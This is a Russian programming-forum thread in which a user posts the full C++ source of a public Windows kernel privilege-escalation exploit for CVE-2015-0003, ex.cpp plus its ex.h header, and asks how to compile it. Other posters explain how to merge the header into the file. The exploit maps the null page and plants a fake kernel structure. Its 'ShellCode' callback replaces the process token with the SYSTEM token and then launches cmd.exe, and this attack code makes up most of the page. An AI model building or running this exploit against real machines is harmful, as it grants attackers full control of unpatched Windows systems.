Ex.cpp(14): fatal error C1083: ex.h: No such file or directory

@BattleZ2 · Регистрация: 12.10.2012

Студворк — интернет-сервис помощи студентам

Помогите скомпилировать код, где взять этот ex.h ?

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
// ex.cpp
/*
    Windows XP/2K3/VISTA/2K8/7 WM_SYSTIMER Kernel EoP
    CVE-2015-0003
    March 2015 (Public Release: May 24, 2015)
 
    Tested on:
                x86: Win 7 SP1 | Win 2k3 SP2 | Win XP SP3
                x64: Win 2k8 SP1 | Win 2k8 R2 SP1
 
    Author: Skylake - skylake <at> mail <dot> com
*/
 
#include "ex.h"
 
_ZwAllocateVirtualMemory ZwAllocateVirtualMemory;
_PsLookupProcessByProcessId PsLookupProcessByProcessId;
_PsReferencePrimaryToken PsReferencePrimaryToken;
DWORD Pid;
ATOM atom;
BOOL KrnlMode, bSpawned;
 
DWORD_PTR WINAPI pti()
{
#ifdef _M_X64
    LPBYTE p = ( LPBYTE ) __readgsqword( 0x30 );
    return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x78 ) );
#else
    LPBYTE p = ( LPBYTE ) __readfsdword( 0x18 );
    return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x40 ) );
#endif
}
 
BOOL find_and_replace_member( PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize )
{
    DWORD_PTR dwIndex, dwMask;
 
#ifdef _M_X64
    dwMask = ~0xf;
#else
    dwMask = ~7;
#endif
    //
    dwCurrentValue &= dwMask;
 
    for( dwIndex = 0; dwIndex < dwMaxSize; dwIndex++ )
    {
        if( ( pdwStructure[dwIndex] & dwMask ) == dwCurrentValue )
        {
            //
            pdwStructure[dwIndex] = dwNewValue;
            return TRUE;
        }
    }
 
    return FALSE;
}
 
BOOL WINAPI Init()
{
    HMODULE hMod = NULL;
    PVOID Base = NULL;
    OSVERSIONINFO ov = { sizeof( OSVERSIONINFO ) };
    PSYSTEM_MODULE_INFORMATION pm = NULL;
    BOOL RetVal = FALSE;
 
    __try {
 
        if( !GetVersionEx( &ov ) ) __leave;
 
        if( ov.dwMajorVersion == 5 && ov.dwMinorVersion > 0 )
        {
            atom = 0xc039;
        }
 
        else if( ov.dwMajorVersion == 6 && ov.dwMinorVersion < 2 )
        {
            atom = ( ov.dwMinorVersion == 1 ) ? 0xc03c : 0xc03a;
        }
 
        if( !atom ) __leave;
 
        _ZwQuerySystemInformation ZwQuerySystemInformation = ( _ZwQuerySystemInformation ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwQuerySystemInformation" );
        if( !ZwQuerySystemInformation ) __leave;
 
        ZwAllocateVirtualMemory = ( _ZwAllocateVirtualMemory ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwAllocateVirtualMemory" );
        if( !ZwAllocateVirtualMemory ) __leave;
 
        ULONG len;
        LONG status = ZwQuerySystemInformation( SystemModuleInformation, NULL, 0, &len );
        if( !status ) __leave;
 
        pm = ( PSYSTEM_MODULE_INFORMATION ) LocalAlloc( LMEM_ZEROINIT, len );
        if( !pm ) __leave;
        status = ZwQuerySystemInformation( SystemModuleInformation, pm, len, &len );
        if( status ) __leave;
 
        CHAR szKrnl[MAX_PATH] = { 0 }, *t;
 
        for( ULONG i = 0; i < pm->Count; ++i )
        {
            if( strstr( pm->Module[i].ImageName, "exe" ) )
            {
                t = strstr( pm->Module[i].ImageName, "nt" );
                if( t )
                {
                    strcpy_s( szKrnl, _countof( szKrnl ) - 1, t );
                    Base = pm->Module[i].Base;
                    break;
                }
            }
        }
 
        hMod = LoadLibraryA( szKrnl );
 
        if( !hMod || !Base ) __leave;
        
        PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) GetProcAddress( hMod, "PsLookupProcessByProcessId" );
        if( !PsLookupProcessByProcessId ) __leave;
 
        PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsLookupProcessByProcessId - ( DWORD_PTR ) hMod ) );
 
        PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) GetProcAddress( hMod, "PsReferencePrimaryToken" );
 
        if( !PsReferencePrimaryToken ) __leave;
 
        PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsReferencePrimaryToken - ( DWORD_PTR ) hMod ) );
        Pid = GetCurrentProcessId();
        RetVal = TRUE;
    }
 
    __finally {
        if( pm ) LocalFree( pm );
        if( hMod ) FreeLibrary( hMod );
    }
 
    return RetVal;
}
 
LRESULT CALLBACK ShellCode( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam )
{
    LPVOID pCurProcess = NULL;
    LPVOID pSystemInfo = NULL;
    PACCESS_TOKEN systemToken;
    PACCESS_TOKEN targetToken;
 
    PsLookupProcessByProcessId( ( HANDLE ) Pid, &pCurProcess );
    PsLookupProcessByProcessId( ( HANDLE ) 4, &pSystemInfo );
 
    targetToken = PsReferencePrimaryToken( pCurProcess );
    systemToken = PsReferencePrimaryToken( pSystemInfo );
 
    //
    find_and_replace_member( ( PDWORD_PTR ) pCurProcess,
        ( DWORD_PTR ) targetToken,
        ( DWORD_PTR ) systemToken,
        0x200 );
    KrnlMode = TRUE;
    return  0;
}
 
VOID WINAPI leave()
{
    keybd_event( VK_ESCAPE, 0, 0, NULL );
    keybd_event( VK_ESCAPE, 0, KEYEVENTF_KEYUP, NULL );
    keybd_event( VK_LWIN, 0, KEYEVENTF_KEYUP, NULL );
}
 
LRESULT CALLBACK WndProc( HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam )
{
    if( bSpawned )
    {
        leave();
        ExitProcess( 0 );
    }
 
    switch( message )
    {
    case WM_CREATE:
        SetTimer( hWnd, ID_TIMER, 1000 * 3, NULL );
        FlashWindow( hWnd, TRUE );
        keybd_event( VK_LWIN, 0, 0, NULL );
        break;
    case WM_CLOSE:
        DestroyWindow( hWnd );
        break;
    case WM_DESTROY:
        PostQuitMessage( 0 );
        break;
    case WM_TIMER:
        KillTimer( hWnd, ID_TIMER );
        leave();
        DestroyWindow( hWnd );
        break;
    default:
        return DefWindowProc( hWnd, message, wParam, lParam );
    }
    return 0;
}
 
int APIENTRY _tWinMain( _In_ HINSTANCE hInstance,
    _In_opt_ HINSTANCE hPrevInstance,
    _In_ LPTSTR    lpCmdLine,
    _In_ int       nCmdShow )
{
    WNDCLASSEX wc = { sizeof( WNDCLASSEX ) };
    HWND hWnd = NULL;
    MSG Msg = { 0 };
 
    SIZE_T size = 0x1000;
    LPVOID addr = ( LPVOID ) 1;
 
    if( !Init() ) return 1;
    
    if( ZwAllocateVirtualMemory( ( HANDLE ) -1, &addr, 0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ) )
    {
        //
        return 1;
    }
 
    DWORD_PTR p = pti();
    if( !p ) return 1;
 
#ifdef _M_X64
    *( ( PDWORD_PTR ) 0x10 ) = p;
    *( ( LPBYTE ) 0x2a ) = 4;
    *( ( LPVOID* ) 0x90 ) = ( LPVOID ) ShellCode;
    *( ( PDWORD_PTR ) 0xa8 ) = 0x400;
    *( ( LPDWORD ) 0x404 ) = 1;
    *( ( PDWORD_PTR ) 0x408 ) = 0x800;
    *( ( LPWORD ) 0x410 ) = atom;
    *( ( LPBYTE ) 0x412 ) = 1;
#else
    *( ( LPDWORD ) 0x08 ) = p;
    *( ( LPBYTE ) 0x16 ) = 4;
    *( ( LPVOID* ) 0x60 ) = ( LPVOID ) ShellCode;
    *( ( LPDWORD ) 0x6c ) = 0x400;
    *( ( LPDWORD ) 0x404 ) = 1;
    *( ( LPDWORD ) 0x408 ) = 0x800;
    *( ( LPWORD ) 0x40c ) = atom;
    *( ( LPBYTE ) 0x40e ) = 1;
#endif
 
    wc.lpfnWndProc = WndProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = TEXT( "Class" );
    
    if( !RegisterClassEx( &wc ) )
        return 1;
    hWnd = CreateWindowEx(
        WS_EX_CLIENTEDGE,
        TEXT( "Class" ),
        TEXT( "Window" ),
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, CW_USEDEFAULT, 200, 100,
        NULL, NULL, hInstance, NULL );
    if( !hWnd )
        return 1;
    ShowWindow( hWnd, SW_HIDE );
    UpdateWindow( hWnd );
 
    while( GetMessage( &Msg, NULL, 0, 0 ) )
    {
        if ( Msg.message == WM_SYSTIMER ) // Borrowed from [url]http://blog.beyondtrust.com/fuzzing-for-ms15-010[/url]
        {
            if( !KrnlMode )
            {
                Msg.hwnd = ( HWND ) NULL;
            }
            else
            {
                Msg.hwnd = hWnd;
                if( !bSpawned )
                {
                    ShellExecute( NULL, TEXT( "open" ), TEXT( "cmd.exe" ), NULL, NULL, SW_SHOW );
                    bSpawned = TRUE;
                }
            }
        }
 
        TranslateMessage( &Msg );
        DispatchMessage( &Msg );
    }
 
    return ( int ) Msg.wParam;
}
// EOF

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
//ex.h
 
#pragma once
 
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
 
typedef NTSTATUS ( WINAPI *_ZwAllocateVirtualMemory ) (
    _In_    HANDLE    ProcessHandle,
    _Inout_ PVOID     *BaseAddress,
    _In_    ULONG_PTR ZeroBits,
    _Inout_ PSIZE_T   RegionSize,
    _In_    ULONG     AllocationType,
    _In_    ULONG     Protect
    );
 
typedef NTSTATUS ( WINAPI *_PsLookupProcessByProcessId ) (
    _In_  HANDLE ProcessId,
    _Out_ PVOID  *Process
    );
 
typedef PACCESS_TOKEN ( WINAPI *_PsReferencePrimaryToken ) (
    _Inout_ PVOID Process
    );
 
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemModuleInformation = 11
} SYSTEM_INFORMATION_CLASS;
 
typedef NTSTATUS ( WINAPI *_ZwQuerySystemInformation ) (
    _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
    _Inout_   PVOID                    SystemInformation,
    _In_      ULONG                    SystemInformationLength,
    _Out_opt_ PULONG                   ReturnLength
    );
 
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
    HANDLE Section;
    PVOID  MappedBase;
    PVOID  Base;
    ULONG  Size;
    ULONG  Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR   ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
 
typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
 
#define ID_TIMER    0x1
#define WM_SYSTIMER 0x118
// EOF

@nmcf · 09.03.2017, 17:56

Ну а откуда эта программа? Там и ищи.

@Lambont · 09.03.2017, 17:59

Сообщение от BattleZ2

где взять этот ex.h

Видимо содержимое этого файла уже находится в предоставляемом выше коде после строки:

Сообщение от BattleZ2

//ex.h

Воспользуйтесь поиском по коду и после, либо создайте файл ex.h и переместите туда часть кода ex.cpp в которой находится содержимое предполагаемой ex.h, либо поместите эту часть в начало ex.cpp и удалите строку #include "ex.h".

@BattleZ2 · 09.03.2017, 19:07 **[ТС]**

я правильно понял начало кода после #include "ex.h" ?
"//" перед строкой это комментарий?

@Lambont · 09.03.2017, 19:55

Сообщение от BattleZ2

я правильно понял начало кода после #include "ex.h" ?

Ну вы имеете ввиду начало кода - это куда переместить содержимое предполагаемой ex.h? Если так, то да, можно вставить и после строки #include "ex.h", главное не забудьте эту строку удалить, если решили всё в одном файле ex.cpp держать.

Сообщение от BattleZ2

"//" перед строкой это комментарий?

Да.

Новые блоги и статьи Все статьи Все блоги /
Изучаю kubernetes lagorue 13.01.2026 А пригодятся-ли мне знания kubernetes в России?	Сукцессия микоризы: основная теория в виде двух уравнений. anaschu 11.01.2026 https:/ / rutube. ru/ video/ 7a537f578d808e67a3c6fd818a44a5c4/	WordPad для Windows 11 Jel 10.01.2026 WordPad для Windows 11 — это приложение, которое восстанавливает классический текстовый редактор WordPad в операционной системе Windows 11. После того как Microsoft исключила WordPad из. . .	Classic Notepad for Windows 11 Jel 10.01.2026 Old Classic Notepad for Windows 11 Приложение для Windows 11, позволяющее пользователям вернуть классическую версию текстового редактора «Блокнот» из Windows 10. Программа предоставляет более. . .
Почему дизайн решает? Neotwalker 09.01.2026 В современном мире, где конкуренция за внимание потребителя достигла пика, дизайн становится мощным инструментом для успеха бренда. Это не просто красивый внешний вид продукта или сайта — это. . .	Модель микоризы: классовый агентный подход 3 anaschu 06.01.2026 aa0a7f55b50dd51c5ec569d2d10c54f6/ O1rJuneU_ls https:/ / vkvideo. ru/ video-115721503_456239114	Owen Logic: О недопустимости использования связки «аналоговый ПИД» + RegKZR ФедосеевПавел 06.01.2026 Owen Logic: О недопустимости использования связки «аналоговый ПИД» + RegKZR ВВЕДЕНИЕ Введу сокращения: аналоговый ПИД — ПИД регулятор с управляющим выходом в виде числа в диапазоне от 0% до. . .	Модель микоризы: классовый агентный подход 2 anaschu 06.01.2026 репозиторий https:/ / github. com/ shumilovas/ fungi ветка по-частям. коммит Create переделка под биомассу. txt вход sc, но sm считается внутри мицелия. кстати, обьем тоже должен там считаться. . . .

@nmcf 7804 / 6568 / 2988 Регистрация: 14.04.2014 Сообщений: 28,705
	09.03.2017, 17:56
	Ну а откуда эта программа? Там и ищи. 0

@BattleZ2 1 / 0 / 1 Регистрация: 12.10.2012 Сообщений: 9
	09.03.2017, 19:07 [ТС]
	я правильно понял начало кода после #include "ex.h" ? "//" перед строкой это комментарий? 0